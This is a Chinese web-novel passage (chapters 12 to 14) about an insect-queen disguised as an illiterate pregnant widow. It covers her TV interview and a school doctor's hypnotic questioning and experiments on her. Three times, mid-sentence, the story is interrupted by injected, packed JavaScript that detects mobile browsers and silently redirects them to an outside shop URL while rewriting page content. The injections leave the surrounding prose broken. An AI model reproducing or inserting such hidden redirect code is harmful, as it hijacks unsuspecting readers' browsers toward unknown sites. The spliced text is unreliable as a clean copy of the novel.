这一周她除了补考,就是在学习最普通的小学知识。 “我会陪你一起去。”阿尔文沉声道。洛希尔家族继承人的身份,至少能震慑一部分不怀好意的刁难。 凯斯嗤笑一声,对自己的好兄弟也毫不留情:“你有空吗?第一名,你得去参加《恩戴头条》《星刃观察》还有什么……好几份,挑挑拣拣回应也够你受了。” 他自顾自地敲定:“我陪她去。” …… 《帝国星讯》的演播室内,灯光璀璨。 兰乌独自坐在造型简洁的访谈椅上,一袭黑裙,苍白,安静,与周围充满科技感和攻击性的直播环境形成了鲜明的对比。她微微低着头,双手习惯性地交叠护在小腹前,像一个误入猛兽巢穴的食草动物。 主持人是一位以犀利著称的资深媒体人。他开场便直指核心:“兰乌女士,首先恭喜您以惊人的成绩被星刃录取。但公众对于您‘SSS级精神力’与‘其他科目零分’并存的极端成绩非常好奇,您如何看待这种……巨大的差异?” 镜头推近,捕捉着兰乌脸上每一丝细微的表情。 她缓缓抬起头,面对无数镜头和台下审视的目光,绿色的眼眸里水光微闪,声音轻软却清晰:“我……没有受过正规教育。我们那里,很偏僻。能认识几个字,已经是很了不起的事情了。” 她顿了顿,露出一丝苦涩又坦然的笑:“至于那些零分……是我应得的。我不会,就是不会。” 主持人显然不会就此放过她:“那么,您这身惊人的治愈能力,又是从何而来?据我们所知,治愈系能力的觉醒和提升,往往需要系统的学习和引导。” 兰乌的眼神黯淡了下去,她轻轻抚摸着腹部,仿佛在汲取力量:“我不知道……以前,只是偶尔能让家里人头疼好一点。直到……直到我丈夫出事那天。” 她的声音哽咽了一下,眼眶迅速泛红:“我看着他……看着他被……我当时只觉得,脑子里有什么东西炸开了……然后,就好像……不一样了。” 她将能力的“觉醒”归因于极致的悲痛和刺激,一个无法证实也无法证伪,却无比符合大众对“奇迹”想象的理由。 “所以,您报考星刃,唯一的目的,就是复仇?”主持人的语气带着探究。 “是。”兰乌回答得毫不犹豫,她望向镜头,那双含泪的绿眸中第一次迸发出一种近乎燃烧的决绝,“我要变得更强!强到……足以向那些虫子,讨回血债!” 她的声音不大,却带着一种斩钉截铁的力量,透过屏幕,传递到帝国每一个角落。 主持人沉默了片刻,似乎也被这份纯粹的恨意与决心所触动。他缓和了语气,问出了最后一个,也是无数观众最关心的问题:“那么,关于您腹中的孩子……这个在您复仇道路上诞生的生命,您对他,有着怎样的期待?” 兰乌低下头,看着自己微隆的小腹,泪水终于滑落。但这一次,她的嘴角却带着一丝极其温柔、近乎神圣的微光。 她轻声说,声音里充满了母性的光辉与一种难以言喻的坚定: “他是我丈夫留下的,唯一的血脉。” “他会平安出生,健康成长。” “然后,和他的母亲一起……见证虫族的毁灭。” 谁都能看见她对虫族的恨意。 正式的访谈在这一刻结束。 尖锐的话题被搁置,换了一位温和的主持人上台,和兰乌一起坐在沙发上。他笑了笑,用拉家常的方式同兰乌聊起天,很快就安抚了这位紧张的孕妇。 主持人调整了一下坐姿,用一种更温和的语气引导:“兰乌女士,能和我们分享一下您……以前的生活吗?大家都很想知道,是什么样的环境,孕育了您这样……特别的人。” 兰乌抬起那双湿漉漉的绿眼睛,仿佛陷入了遥远的回忆,声音轻柔得像山间的薄雾: “我住在大山里,很远很远,要翻过好多座山头才能看到外面的一点亮光。”她比划着,动作带着一种不谙世事的天真,“我很小的时候,就被送到我老公家里了。他家里人都很好,给我饭吃,让我长大。” 后台,凯斯的眉梢几不可察地跳了一下。 “后来……我长大了,就和他结婚了。”兰乌的脸上泛起一丝羞涩的红晕,像是想起了美好的往事,“老公年纪比我小很多,虽然不太聪明,说不清话,偶尔会流口水,但是真的很爱我。” 她的声音渐渐低了下去,带上了一层难以言喻的悲伤和……一丝诡异的尴尬。 “他……是死在我肚皮上的。” 噗—— 后台,正在喝水的凯斯猛地被呛到,爆发出一阵剧烈的咳嗽。 演播室内,经验丰富的主持人也明显僵了一下,脸上的职业笑容险些碎裂。他张了张嘴,试图把话题拉回正轨:“呃……这、这真是一个令人悲伤的意外……” 兰乌仿佛完全没意识到自己投下了怎样的炸弹,继续用她那纯然悲伤的语气说道:“嗯……是个意外。后来,我遇到了我第二任老公。” 她顿了顿,似乎在组织语言,然后用一种介绍恩人的口吻说:“他是来家里修水管的。山里的水管总是坏,他是个很好的管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他力气还很大!”兰乌再次打断,双手比划着,试图让全国观众都理解她老公的优秀,她看向主持人,眼神清澈又认真,“真的,特别厉害!能一下子把我抱起来!” 主持人:“……”他感觉自己快要窒息了。 远在其他演播室后台的阿尔文,一边接受着化妆师的服务,一边看着面前的平板。 兰乌的声音落下,化妆师都发出了一声“呃”的悲鸣:“她这是……什么情况?从小在大山,没接受过教育,都什么年代了……不会是被拐过去的吧?现在还有这种事吗?” 她调了调粉底液,还是没忍住:“别把什么狗屎都当老公啊!” 阿尔文也在思考。 或许……在那种艰苦的环境中,生存能力确实是首要考量……。 阿尔文试图用他贵族式的理性去理解,但发现自己的思维已经跟不上了。 “还有还有……”兰乌显然还没说完。 “兰乌女士!”主持人终于忍不住提高了音量,几乎是带着一丝恳求打断了她,“关于您丈夫的……优良品质,我们相信观众已经有了非常……深刻的印象!但是否可以谈谈您自己?比如您对未来在星刃的学习生活,有什么规划吗?” 他死死抓住“星刃”和“未来”这几个关键词,试图把脱缰的野马拉回正道。 兰乌被打断了话头,有些茫然地眨了眨眼,看着主持人急切的表情,似乎终于意识到自己可能说太多了。她微微低下头,小声嘟囔了一句,却清晰地被收音设备捕捉到: “哦……我就是想告诉大家,他真的是个很好很好的人。” 她抓着腿上的黑裙,流露出一丝真情实感的悲伤。 “本来都说好了的,一起来恩戴,给有钱人修水管养我。也联系好了远房亲戚,让我在他们家暂住……可惜……命不好。” “若不是有腹中的孩子,我也想一并随他去了。” “做一对苦命鸳鸯。” 12. 12 在兰乌那场“惊世骇俗”的采访时,星网上的舆论几乎挤爆了服务器。 【哭了,她真的好爱她老公!】 【SSS级精神力又怎样,还不是个苦命的女人。】 【虫族血海深仇不共戴天!支持兰乌夫人复仇!】 【我们女人凭实力考上星刃!】 但很快,支持和同情的声音减少,质疑和不解的声音如同病毒般蔓延。 【等等,我捋捋……她两任老公,一个死在她肚皮上,一个修水管认识?来恩戴修水管被虫族杀了?这什么地狱笑话?】 【不是,她到底几个老公?这经历也太丰富了吧?】 【SSS级天才就这审美?死在肚皮上的弱智和修水管的管道工?她是不是对‘好男人’有什么误解?】 【啥玩意儿,这真不是拐卖、童养媳、水管工搞人.妻、自己完全被洗脑离不开老公吗?】 【不对,她老公那种人,真的有亲戚在恩戴吗?】 【不会是打算把她卖了吧!】 【完全是没觉醒的娇妻啊啊啊啊啊啊啊】 【至少她精神力觉醒了】 …… 酒店套房的露台上,夜风微凉。 兰乌坐在柔软的椅子里,正低头看着自己通讯器上小学一年级的基础识字课程,光影在她苍白的脸上明明灭灭。对于星网上那些汹涌的骂声,她似乎毫无所觉,或者说,并不在意。 毕竟。 一个字看不懂。 凯斯慢悠悠地踱步过来,铂金色的发丝在夜风中微微拂动。他瞥了一眼兰乌屏幕上那幼稚的图文,嘴角勾起惯有的嘲弄弧度。 “看来,‘SSS级文盲’的头衔,你是坐实了。”他声音懒散,带着一丝戏谑,“全帝国现在都在讨论你那两位……嗯,极具特色的亡夫。品味很独特啊,兰乌夫人。” 兰乌从屏幕上抬起眼,绿色的眼眸在夜色中显得格外沉静。她没有动怒,只是轻轻叹了口气,带着点无奈的坦诚:“他们……确实都是很好的人。只是命不好。” 凯斯灰蓝色的眼眸眯了眯。 骤然想起了兰乌毫无防备地蜷在他怀中,用那样亲昵的称呼低喃。 那声模糊的、带着温热气息的呓语。 几乎让人产生不该有的错觉。 一股极其古怪的、混合着优越感和被冒犯的情绪,从心底刺穿出来。 他,凯斯·冯·海因里希,海因里希家族的继承人,星刃的风云人物,竟然……在某种程度上,和那两个她口中的烂货被放在了同一个称呼之下? 荒谬! 他上前两步,将兰乌面前的基础教材拿起,打开,拍在兰乌手心。 “别发呆了。与其在这里缅怀你那两个老公,不如多读两本书。”他冷哼了一声,“精神力觉醒了,别的地方就不能也一并觉醒吗?星刃的学业可不是一个文盲能够接受的,快开智吧,SSS级文盲。” 兰乌“啊”了一声,捧着书,分外迟钝地回了一句:“撅……醒?” 她脸色一红:“海因里希先生,您怎么对着一个孕妇开这种玩笑……我以前倒是会被老公撅醒……” 凯斯:“……”真想把兰乌和她的没命鸳鸯鬼和肚子里的鸳鸯蛋一起丢出去。 兰乌却已经打开了书,把脸藏在书本后,只露出一双墨绿的眼睛:“你能教我吗?” 又过几秒。 “谢谢……你昨晚的精神力。您是好人。”藏在书本后的下半张脸,下意识抿了抿唇,唾液也分泌着。兰乌眼巴巴地看了眼凯斯,“我是第一次被这样安抚……您的精神力还好吗?我听说非治愈系不能随便这样……” 有一说一,主动奉献的精神力,和她偷偷摸摸挖一块儿吃的感觉,完全不一样。 也是别有一番风味。 越想越饿啊越想越饿。 凯斯顿了顿,拧眉:“管那么多干什么?随便一点精神力,用就用了。学你的小学教材去。” 他拉开兰乌对面的椅子,坐下。 “你学到哪儿了?” …… 星刃预留了一周时间办入学手续。 当兰乌拿到自己的宿舍分配通知时,不由得微微一愣。 光屏上清晰地显示: 宿舍区域:治愈系专属区 房间号:A01 舍友:罗兰 下方还有一行备注小字:因本校治愈系女性学员仅一人,且治愈系宿舍资源紧张,暂与校医部单身职员合并安排,以确保最佳辅导与安全。 她的通讯设备是阿尔文给她买的,凯斯调整了一下光屏大小,几乎是老年人会用的超大字体,每一个字上面都有音节标注。 兰乌学得很快,现在已经勉强能读下来了。 阿尔文看着这安排,眉头微蹙,显然觉得让一位孕妇与陌生男性同住有所不妥,哪怕对方是医生。他刚想开口,凯斯却懒洋洋地先开了腔: “和校医住一起?挺好,省得你哪天精神力不稳,还要劳烦别人跑大老远。”他灰蓝色的眼眸扫过兰乌,“就是不知道,罗兰医生学过妇科没有。” 兰乌默默收起通知,脸上依旧是那副温顺柔弱的模样,心里却快速盘算起来。 不是单独一个宿舍,很可惜。 和一名医生住无疑是风险极大的,万一被看出点什么,她可就要被原地处决了。 “我们要去的地方不一样。”凯斯懒懒地说着,“我先带阿尔文去他的宿舍,再带你去治愈系那边。” “谢谢你们,阿尔文先生,海因里希……” 兰乌的话被阿尔文打断。他声音温柔:“不必敬称,我们已经是同学了。” “阿尔文……同学?”兰乌念得有点生疏。 凯斯更是斜着眼睨她,仿佛等着什么。 兰乌:“凯斯学长。” …… 与其说是宿舍,她住的地方更像是一个小型的研究所与居住区的结合体,环境清幽,充满了淡淡的药草和消毒水混合的气息。治愈系有两个专业类别,一个算是正常的医学,主攻身体上的疾病伤痛。 另一个就是兰乌这种精神力治愈者。 医学专业的同学很多。精神力治愈者却一共十一人,似乎全都已经出去实习了。只剩下一个罗兰在学校任职校医。 A01室是一个套间,外面是共享的客厅和简易医疗观察区,里面则是一个带独立卫浴的卧室。 兰乌带着简单的行李,主要是阿尔文和凯斯赞助的几件黑裙和一些生活用品,走进寝室时,罗兰医生正坐在客厅的沙发上,对着一个漂浮的光屏记录着什么。 他依旧穿着那身一尘不染的洁白医官服,鼻梁上架着金丝边眼镜,听到动静抬起头,褐色的眼眸透过镜片看来,分外温和。 “兰乌夫人,欢迎。”他站起身,声音如同他的人一样,带着令人安心的沉稳,“根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746995|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据学校的安排,今后一段时间,我们将是舍友。如果生活上或身体上有任何不适,请随时告诉我。” 他的目光平静地扫过她微隆的小腹和她苍白的脸色,完全是医生对待特殊病患的姿态。 “谢谢您,罗兰医生,给您添麻烦了。”兰乌微微鞠躬,表现得拘谨而感激。 “不必客气,这是我的职责。”罗兰微微一笑,指了指里面的房间,“右手边那间是您的卧室,已经根据您的身体状况做了一些调整,希望您能住得舒适。左手边是我的房间和一个小型实验室,通常不会打扰到您。” 他的安排周到得体,无可挑剔。 “大部分时间里,我都在校医室。”他笑了笑,带着些许调侃,“晚上也不会回来,我们治愈系第一个需要治愈的,就是24h加班的自己。” 兰乌走进属于自己的房间。房间不大,但整洁明亮,窗台上甚至摆放着几盆绿色的、散发着宁静气息的不知名植物。床铺明显加厚了,桌椅边角都包裹了防撞条,细节处透露着关照。 她放下行李,轻轻抚过柔软的床铺,内心却警惕到了极点。 被凯斯差点戳破一次以后,她就很担心自己的小习惯被人察觉异常。 通讯器上弹出几条消息。 兰乌吃力地阅读完,发现是一份课表。 而治愈系的课程下面,明晃晃地写着——导师:罗兰。 兰乌:“……” 不仅是和人类男性同住,还是和老师……她真的需要注意一下伪装了。 还好她现在的人设是文盲孕妇。 她从进校门到现在已经收获十个箩筐的同情眼神了,仿佛在说:这么可怜又这么弱智,做什么都让让她吧。 兰乌又想起那天自己上采访随口乱说的东西。 唉。 她都没说自己出生五个月就未婚先孕、原生家庭很糟糕一出生亲妈就要把她扼死。 兰乌摸了摸自己的小腹,将行李简单地收拾了一遍,再度推门出去。 罗兰仍然坐在客厅。 “兰乌夫人,你填的精神力相关的表格,我已经看过了。” 和刚才那个温和的“室友”语气不同,此时此刻的罗兰,一开口,就有点说不上来的老师气质,听得兰乌直起了腰:“有什么问题吗?” “根据入学测试的数据,你的精神力确实有前所未见的治愈效果。只是,似乎,你隐瞒了一些事。” 兰乌:“……啊?” 她微张着唇,有些紧张。 罗兰面前的光屏上,闪出一大串看不懂的数据、走势图。 “我采访了雷克索教官、以及你进行过安抚的阿尔文、凯斯同学。虽然他们也并未同我彻底说实话……”他微微笑起来,摘下自己的眼镜,褐色的眼珠同兰乌对视。 其实他是很锋利的眼型,攻击性很强。 “兰乌夫人,你的精神力,可以让人分泌多巴胺,产生极强的快乐情绪,你知道吗?” 兰乌的唇越张越大,她伸手指着自己:“诶?我吗?” 医生点了点头:“顺带一提,我拥有SS级的精神力,特性是治愈……以及催眠。只有极少数的人知道,S级往上的精神力,可以拥有不同的特性。” 话音落下,一股极强的、仿佛能蛊惑人心的精神力卷上兰乌的精神图景,和她缠在一起。 医生的声音温柔而低沉: “我们来聊聊天吧。” 13. 13 这突如其来的精神侵袭让兰乌浑身一僵。 罗兰的精神力并不像凯斯那样带着薄荷气泡水的清冽刺激,也不像阿尔文那样是醇厚的雪松陈酿,更不像雷克索教官那样是灼热的淬火晶体。 他的精神力……是温润的、带着药草清苦的暖流,如同初春化雪时渗入泥土的溪水,无声无息,却带着一种不容抗拒的渗透力,试图抚平一切躁动,引导出内心最深处的真实。 特性催眠? 她真不知道S级往上的精神力有其他的特性。 这方面的资料太少了,虫族那边又不研究这个。 兰乌的神经瞬间绷紧到了极致。虫母的本能让她几乎要立刻反击,将那胆敢侵入她精神图景的力量撕碎、吞噬! 但理智像冰冷的锁链,死死拽住了她。 不能反击! 电光火石间,兰乌做出了决定。 她强行压制住所有反抗的本能,任由那股带着催眠意味的暖流包裹住自己的精神核心。她绿色的眼眸中迅速弥漫上之前在镜头前出现过的、恰到好处的茫然与一丝被冒犯的惊慌。 “罗、罗兰医生?”她的声音带着细微的颤抖,像是受惊的小动物,双手下意识地再次护住小腹,“您……您要做什么?我不明白……多巴胺又是什么?” 她眼神恍惚下去。 这似乎不是强硬的催眠,只是软化她的理智,减少抵抗心理。 眼前的医生,似乎变得可靠起来。 但她又能彻底地抽离这种朦胧的情绪——说到底,兰乌的那颗精神力核心,只是她捏出来的伪装。她的精神力并不依赖核心的掌控。 她完美地扮演着一个来自偏远地区、缺乏常识、又因自身特殊能力而感到不安的“文盲孕妇”。 罗兰褐色的眼眸专注地凝视着她,目光锐利如手术刀,仿佛要直抵她灵魂深处。他声音依旧温和,却带着不容置疑的引导力: “多巴胺是一种能让人感到快乐和满足的物质。兰乌夫人,你的精神力在治愈他人的同时,会强烈刺激对方大脑分泌这种物质。这正是你的治愈效果如此显著,甚至让人……沉迷的原因。并且,每一个被你治愈过的人,精神力总量都出现了一定的下降。” “放轻松,只是用精神力做一个检查,你怀着孕,需要更全面的检查。” 他微微前倾身体,无形的压迫感随之而来。 “告诉我,在你为阿尔文、凯斯,甚至雷克索教官进行安抚的时候,你是否清楚地知道这一点?你是否……有意地在利用这种效果?” 这个问题尖锐无比。 兰乌的瞳孔几不可察地收缩了一下,但脸上依旧是那副纯然的困惑和一点点委屈。她用力摇头,黑色的发丝拂过苍白的脸颊: “我不知道……我真的不知道……我只是感觉到他们很痛苦,我想让他们舒服一点……就像……就像以前在家里,帮家里人按按头那样……”她的话语有些凌乱,符合一个“没文化”的人急于解释时的状态,“让他们舒服一点,不对吗?” “明明我丈夫的父亲、兄弟,叔叔伯伯,全都很喜欢这种安抚……” 她用那双湿漉漉的绿眼睛望着罗兰,带着一丝被质疑的伤心:“医生,难道我……做错了吗?帮助别人……是错的吗?” 罗兰:“……” 他施加的精神力依旧如同温暖的潮水,缓缓波动,试图捕捉她任何一丝精神图景的异常涟漪。 但兰乌的精神壁垒在拟态核心的支撑下,此刻完美地模拟着人类精神力受到催眠诱导时应有的、略带抵抗却又逐渐放松的状态。她甚至小心翼翼地、模仿着人类精神力的特性,流露出些许因被“误解”而产生的细微波澜。 沉默在两人之间蔓延,只有仪器运行的微弱嗡鸣和窗外隐约传来的风声。 许久,罗兰眼中的锐利稍稍收敛。 他重新戴上眼镜,恢复了那副温文尔雅的医者模样,仿佛刚才那场无形的交锋从未发生。 但精神力,仍然没有收回去。 “帮助你身边的人缓解痛苦,自然没有错。”他语气平和地说,“只是,你的能力非常特殊,效果也过于强烈。如果不加以控制和引导,可能会对他人,甚至对你自己,造成意想不到的影响。” “别紧张,兰乌夫人,过来坐一会儿吧。”他拍了拍沙发,“你要多注意休息。” 兰乌有些不解,却还是顺从地坐了过去。 “兰乌夫人,我可以多问你几个问题吗?” “嗯,当然可以。” “为什么没去报考梵卡?那里才是绝大多数女性的选择,整体的教育环境也更适合女性。虽然星刃和梵卡每年都会象征性招点不同性别的……好学生人人抢嘛。” 兰乌:“……” 她瞪大了眼睛,真情实感道:“还有女校?我、我不认字,来星刃是跟着阿尔文先生来的……” “……”罗兰也是有点被对面的文盲程度震撼到了,他缓了缓,又问,“兰乌夫人,我注意到你在表格上没有填自己的姓,为什么?” 兰乌:“……” 这个问题,从来没有人问过她。她低着头,嗫嚅道:“妈妈不要我。只因为我是女孩子,看见我一出生,就要扼死我。” “现在这个名,是我自己取的。” “医生,你呢?你的名字,也没有姓……”兰乌反问回去。 罗兰:“我是孤儿。” 罗兰又问:“你真的没有觉得自己的丈夫不对劲吗?我看过你的体检报告,精神力长期处于枯竭状态,身体上有不同程度的伤痕……而且你没有护照,没有身份证明。” 沉默。 “不知道。”兰乌却没有回答出来,她声音茫然而清澈,“我不知道。” 眼泪从墨绿色的眼眸中滚出来。 可她自己,好像也不知道自己哭了。 “大概是我自己有错吧。” 压抑的原生家庭,糟糕的两任丈夫,悲惨的命运,破碎的她。 罗兰抽了纸巾,递给对方。 他没有再问更多的话题,而是默默地等待兰乌哭完。 也将精神力收了回来—— “……?” 精神力没能顺利回收,在他撤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746996|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的瞬间,兰乌的精神力猛得扑了上来,紧紧地缠住。而兰乌本人,却仍然垂着头哭泣,似乎没有意识到她的精神力正在下意识地挽留。 过了一会儿,兰乌好似回过了神,略带惊慌道:“我失态了,怎么突然就……” ——救命,到嘴里的饭要飞走,下意识就抓住了。 她彻底放松,恋恋不舍地放走了精神力。 “是我的问题。”罗兰叹气,“我的精神力比较能让人想起痛苦的回忆,所以经常有人觉得我一边制造精神损伤、一边治疗。但是当痛苦被释放,不觉得心情有好一点吗?逃避不是什么好事。” 兰乌应了声。 她心底松了口气。 应该算是逃过盘问了。 罗兰起身,给她倒了一杯温热的营养液,乳白色的,调制过口味,喝起来像是浓稠的酸奶。倒是比前些天喝的营养补充剂好喝太多。兰乌忍不住问:“这个是在哪儿买的?” “我自己调的。” “……” “喜欢的话,我可以多调一点。”罗兰坦然地打开冰箱,展示上下两层满满当当的营养液,“浓稠一点的,干噎一点的,有嚼劲耐啃的,全都有,比普通的液体营养液更填肚子,更有趣味。口味丰富,值得选择。” “……您完全不吃别的食物吗?” 罗兰也茫然:“治愈系都吃这个。”24h加班这一块儿。 兰乌还是更喜欢正常的食物。但她慢悠悠喝了一杯下去,发现真如罗兰所说,这个特制营养液很填肚子,可以当饭吃。甚至吃完,整个人都暖融融地热起来了。 反正她饱腹主要靠精神力,平常吃吃营养液好像也没……不对,她怎么能想这种恐怖的事情! 见她情绪逐渐恢复过来,罗兰就又坐回了沙发上。 “你的精神力很有研究的价值,我希望收集更多的素材。” “嗯?” “也就是实验,我需要你配合我做实验,可以吗?” 兰乌犹豫道:“什么实验?” “因为你的精神力,现在还未彻底探测出全部的副作用。我需要你用适量的精神力,去治愈、安抚他人,我会记录下一切相关数据。” “医生,你不是说,我的精神力,可能会对别人造成未知的影响吗?” “是的。”罗兰严肃道,“所以,第一个实验对象,是我。同为治愈系,又是SS级精神力,我能够抵御绝大部分的负面作用。” 不顾对面的拒绝,他继续说。 “我知道你是一个善良的姑娘。但是,医学就是这样,需要实验,需要一定的牺牲。这样,才能在未来,将损失最小化。在这件事上,我不是医生,你也不是患者。” “兰乌,我是你在星刃的直系导师。探明你的精神力,是我们需要共同完成的一个课题。这对你也有好处。” 兰乌听得有点晕。 她抬头,眼底似乎还有一点水光,看着非常顺从。又似乎被罗兰的话语,激起了一些治病救人的科研精神,期望起了美好未来:“那,老师……” “实验什么时候开始?” 14. 14 罗兰似乎对兰乌如此迅速的觉悟感到一丝意外,但很快便化为赞许的微笑。他推了推眼镜,褐色的眼眸在镜片后闪着严谨而专注的光芒。 “如果你准备好了,现在就可以开始。” 他起身,走向客厅一侧那面看似普通的墙壁。手指在某个区域轻轻一按,墙壁无声地滑开,露出后面一个更加简洁、几乎可以称得上冰冷的空间。里面没有多余的装饰,只有一张符合人体工学的座椅,以及周围数个连接着复杂线路、闪烁着微光的精密感应器。 “此前由于是我一人独居,我将这里改造成了个人冥想与检测室。在这里,数据采集会更精确,干扰也更少。”罗兰示意兰乌进入,“请坐。” “当然,你现在也可以自由使用这里、或改造一部分你需要的内容。” 兰乌看着这个如同小型实验室般的空间,内心那根警惕的弦再次绷紧。这比她预想的还要……正式和专业。她依言在那张椅子上坐下,触感冰凉而坚实。 罗兰站在她面前,调整着几个悬浮的光屏参数,语气平静地解说:“第一次实验,我们以最低强度进行。我会主动在我的精神图景中模拟出一种‘枯竭’与‘紊乱’的状态——类似于轻度精神力透支。而你,需要像之前帮助阿尔文或凯斯那样,尝试用你的精神力对我进行‘安抚’。” 他看向兰乌,眼神温和却不容置疑:“记住,是‘最低强度’。我需要观察在最基础交互下,你的精神力是如何起效的,以及它对我精神图景和生理指标产生的初始影响。不要过度,明白吗?” “我……我尽量控制。”兰乌怯生生地点头,双手放在膝盖上,指尖微微蜷缩。 “放轻松,我会全程监控,一旦有任何不适或数据异常,我会立刻终止。”罗兰说完,走到一旁的控制器前,最后确认了一遍所有仪器状态。然后,他走到兰乌对面,盘膝直接坐在了光滑冰冷的地板上,闭上了眼睛。 几乎是瞬间,兰乌就感知到罗兰的精神力开始发生变化。他那原本温润平和的精神波动,如同被投入石子的水面,开始变得滞涩、黯淡,甚至模拟出一种细微的、代表痛苦的锯齿状波动。他刻意压制了自身精神力的活跃度,营造出一种亟待滋润的假象。 食物……在主动散发香气。 虫母的本能在脑海中尖叫。一个SS级的精神力,如此“乖巧”地、毫无防备地在她面前展现出虚弱的一面,这诱惑力甚至比凯斯主动伸来的精神力还要强烈。 兰乌强行压下翻腾的食欲,深吸一口气,模仿着之前帮助阿尔文时的状态,牵住罗兰的手,小心翼翼地探出一缕极其细微的精神力。 她的精神力触须轻柔地靠近罗兰那模拟“枯竭”的精神图景边缘,带着一丝试探性的温暖,如同初春的阳光,试图融化冰雪。 当她的精神力与罗兰的接触的刹那—— 嗡…… 一种奇异的共鸣感传来。 罗兰模拟出的“枯竭”区域,像是干涸的土地遇到了甘霖,本能地、微弱地吸附着她的精神力。而兰乌,则清晰地“品尝”到了罗兰精神力那独特的“风味”。 不同于之前催眠时的药草清苦,此刻他模拟出的精神力,更像是一种……被稀释后的、带着回甘的草本茶,温和,但底蕴依旧深厚。 她小心控制着输出的量和速度,让这一缕精神力如同涓涓细流,缓慢地滋养着着那片模拟的枯竭区。 饥饿感蔓延,她不得不竭力压制着自己那想要更多、更深入“品尝”的贪婪冲动。 周围那些精密的仪器正在无声地运行,无数数据流如同瀑布般在罗兰面前的光屏上刷新。他的心跳、脑波、激素水平……一切生理指标,都在被严密监控。 时间一分一秒过去。 兰乌维持着那种温和治愈的输出,额角甚至因为她刻意压制本能和维持精细操控而渗出了细密的汗珠。 罗兰始终闭着眼,面容平静,仿佛完全沉浸在被安抚的过程中。 第一次采集数据结束。 罗兰缓缓地吐出一口气。 他看向兰乌,点了点头:“辛苦你了,兰乌夫人。” 兰乌适时地流露出些许疲惫,轻轻喘了口气,小声问:“怎么样,罗兰医生?我……我做对了吗?” 罗兰没有立刻回答,而是快速浏览着光屏上记录下的海量数据。他的指尖在虚拟键盘上飞快敲击,调出几个波形图和数值对比。 “从初步数据来看,”他推了推眼镜,语气带着科研人员的客观,“你的精神力在接触模拟损伤时,确实能迅速引发目标精神图景的愉悦反馈,同时还能进行初步的秩序重建,效率极高。也记录到了目标精神力总量的微弱衰减,与你之前治愈案例中的数据趋势吻合。” 他一说专业名词,兰乌就开始困。 她才学到小学一年级的内容……罗兰这说的东西是什么?大学、研究生、还是博士需要的课程? 他这是要拿自己写论文吗? 他抬起头,看向兰乌:“你的控制力比我想象的要好,第一次尝试就能将输出稳定在如此低的水平。这很好。” “我们来进行第二次。” “好的老师。” 第二次精神力探入。 兰乌窥着面前无比复杂的数据,忽然想,记录数据的波动,应该也是实验需要的吧? 她依旧维持着精神力的少量输出,只是细微调整,让那涓涓细流带上一丝极其细微的、属于虫母精神网络特有的、能诱发深度依赖与愉悦的震颤。 这并非强力的掠夺,更像是在美味的羹汤里,撒上一小撮能激发食欲的特殊香料。 几乎是在同时,一直闭目凝神、面容平静的罗兰,几不可察地微微颤动了一下睫毛。那些无比复杂的数据弧线里,某个角落开始出现一个微小但持续的上扬坡度。 数据在欢快地跳跃。 兰乌注意到了这个变化。 她适时地停了下来,切断了精神力的输出,脸上露出恰到好处的担忧和一丝不确定,轻声开口,声音带着柔软的试探: “老师……您还好吗?还能……继续接受吗?” 罗兰缓缓睁开眼,褐色的眼眸深处似乎掠过一丝未能完全掩饰的、被打断的茫然,但那感觉转瞬即逝,快得像是错觉。他推了推眼镜,恢复冷静:“我没事。数据采集需要持续性,请继续。” “哦,好的。”兰乌乖巧地应道,重新连接上精神力。 这一次,她稍微慷慨了一点,输出的精神力比之前多了一分,那隐秘的、诱人沉溺的震颤也如同背景音般,若有若无地持续着。 她能清晰地感觉到,罗兰那片被滋养的精神区域,如同被阳光晒暖的猫咪,发出满足的咕噜声,更加主动地缠绕上她的精神力,甚至本能地想要留住她,延缓她离开的速度。 第二次数据采集结束了。 兰乌微微歪着头,绿色的眼睛睁得很大: “老师,您还清醒吗?您的呼吸好像……有点乱。真的可以继续吗?我怕……会对您有不好的影响。” 罗兰的呼吸确实比刚才急促了一丝,虽然他立刻调整了过来。他看着兰乌那双写满了“无辜担忧”的眼睛,沉默了一瞬,才用略显低哑的声音回答:“……无妨。实验继续。专注记录数据,不要分心。” 他的指令依旧专业,但尾音似乎带上了一点不易察觉的……紧绷。 “嗯!我会努力的!”兰乌用力点头,仿佛受到了鼓舞。 接下来又试了几次。 “老师,这个强度可以吗?要不要再轻一点?” “您看起来好像有点累了,我们休息一下好不好?” “哇,屏幕上的数据跳得好厉害,是正常的吗?您感觉怎么样?” 每一次发问,都伴随着她精神力的或收或放,或轻或重,如同最灵巧的琴师,拨弄着罗兰的精神图景。 “老师,您坐这个椅子吧。”兰乌贴心地将罗兰扶起来,“您看起来更需要休息。为了实验牺牲这么多,太伟大了。” 罗兰喘着气。 第一次时。 安抚高效、温和,带着一种近乎本能的秩序重建能力。他甚至在心中默默赞许了一句,不愧是百年难得一见的sss级治愈系,在安抚上的天赋就已经远远超越了他。 然而,或许是因为兰乌的疲惫,随着她控制力的“下降”,感受开始变得不对起来。 